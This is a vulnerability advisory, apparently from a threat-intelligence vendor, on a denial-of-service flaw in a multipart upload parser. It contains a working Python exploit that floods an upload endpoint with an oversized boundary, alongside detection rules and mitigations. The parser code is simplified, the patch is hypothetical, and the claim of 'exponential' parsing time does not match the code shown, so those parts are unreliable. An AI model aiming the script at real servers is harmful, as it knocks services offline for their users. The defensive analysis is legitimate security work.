CVE-2024-8028

Executive Summary

CVE-2024-8028 is a high-severity Denial of Service (DoS) vulnerability in danswer-ai/danswer v0.3.94. The flaw resides in the multipart file upload handler, where a malformed boundary with an excessive number of trailing characters causes the server to enter an infinite processing loop. A single crafted HTTP request can render the entire application inaccessible to all users, with no authentication required. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the attack vector is trivial and publicly known.

Supply Chain & Package Security

This vulnerability affects the Python-based danswer-ai/danswer project (PyPI ecosystem). The package is used for enterprise AI search and document indexing. No patched version or advisory has been released by the vendor. Users should monitor the official repository for updates and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The threat level is High due to the ease of exploitation and the potential for complete service disruption.

Deep Dive & Mechanics

The vulnerability is triggered during the parsing of multipart/form-data requests. The server uses a boundary string to separate parts of the uploaded file. By appending a large number of characters (e.g., thousands of 'A's) to the boundary, the server's parser enters a state where it attempts to match each character against the boundary pattern, causing exponential processing time. This results in CPU exhaustion and eventual unresponsiveness.

The root cause is the lack of input validation on the boundary length and the absence of a timeout or recursion limit in the parsing logic. The attack is a classic algorithmic complexity DoS.

Vulnerable vs. Patched Code

Vulnerable Code (v0.3.94):

# Simplified representation of the vulnerable multipart parser
def parse_multipart(data, boundary):
    parts = []
    while True:
        # No length check on boundary
        start = data.find(b'--' + boundary)
        if start == -1:
            break
        end = data.find(b'--' + boundary, start + len(boundary))
        if end == -1:
            break
        parts.append(data[start:end])
        data = data[end:]
    return parts

Patched Code (Hypothetical):

# Patched version with boundary length validation and timeout
import time

MAX_BOUNDARY_LENGTH = 70
TIMEOUT_SECONDS = 5

def parse_multipart(data, boundary):
    if len(boundary) > MAX_BOUNDARY_LENGTH:
        raise ValueError("Boundary too long")
    start_time = time.time()
    parts = []
    while True:
        if time.time() - start_time > TIMEOUT_SECONDS:
            raise TimeoutError("Parsing timeout")
        start = data.find(b'--' + boundary)
        if start == -1:
            break
        end = data.find(b'--' + boundary, start + len(boundary))
        if end == -1:
            break
        parts.append(data[start:end])
        data = data[end:]
    return parts

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running danswer-ai/danswer v0.3.94
• Network access to the upload endpoint (e.g., /api/upload)

Exploit Payload (Python):

import requests

target_url = "http://target:8080/api/upload"
malicious_boundary = "----WebKitFormBoundary" + "A" * 5000

headers = {
    "Content-Type": f"multipart/form-data; boundary={malicious_boundary}"
}

# Craft a minimal multipart body with the malformed boundary
body = f"--{malicious_boundary}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n\r\nmalicious content\r\n--{malicious_boundary}--\r\n"

try:
    response = requests.post(target_url, headers=headers, data=body, timeout=10)
    print(f"Response: {response.status_code}")
except requests.exceptions.Timeout:
    print("Server unresponsive - DoS successful")
except Exception as e:
    print(f"Error: {e}")

Expected Outcome: The server becomes unresponsive to all requests for the duration of the attack.

Blue Team (Defense & Detection)

Mitigation Steps:

1. Immediate: Deploy a Web Application Firewall (WAF) rule to block requests with multipart boundaries longer than 70 characters.
2. Short-term: Implement a reverse proxy (e.g., Nginx) with client_max_body_size and client_body_timeout limits.
3. Long-term: Apply input validation on boundary length in the application code and add a timeout to the parsing function.

Detection:

• Monitor for HTTP 500 errors or timeouts on upload endpoints.
• Alert on CPU spikes correlating with multipart upload requests.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/upload with Content-Type containing boundary= followed by a string longer than 70 characters.
• Logs: Server logs showing repeated "boundary not found" or "timeout" errors.
• System: High CPU usage on the application server during the attack window.

Detection Engineering

YARA Rule

rule CVE_2024_8028_Malformed_Boundary {
    meta:
        description = "Detects HTTP requests with excessively long multipart boundaries"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-8028"
    strings:
        $boundary = /boundary=[A-Za-z0-9\-]{71,}/ nocase
    condition:
        $boundary
}

Sigma Rule

title: CVE-2024-8028 - DoS via Malformed Multipart Boundary
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with multipart boundaries longer than 70 characters
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/upload'
        cs-content-type|contains: 'boundary='
        cs-content-type|re: 'boundary=[A-Za-z0-9\-]{71,}'
    condition: selection
falsepositives:
    - Legitimate large file uploads with long boundaries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8028 - DoS via Malformed Multipart Boundary"; flow:to_server; content:"POST"; http_method; content:"/api/upload"; http_uri; content:"boundary="; http_header; pcre:"/boundary=[A-Za-z0-9\-]{71,}/i"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Vendor Patch: Await an official patch from danswer-ai. Monitor the GitHub repository for updates.
2. WAF Rule: Block requests with boundary length > 70 characters.
3. Rate Limiting: Apply rate limiting on upload endpoints to reduce blast radius.
4. Timeout Configuration: Set client_body_timeout in Nginx to 10 seconds.
5. Code Fix: Implement boundary length validation and a parsing timeout in the application.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.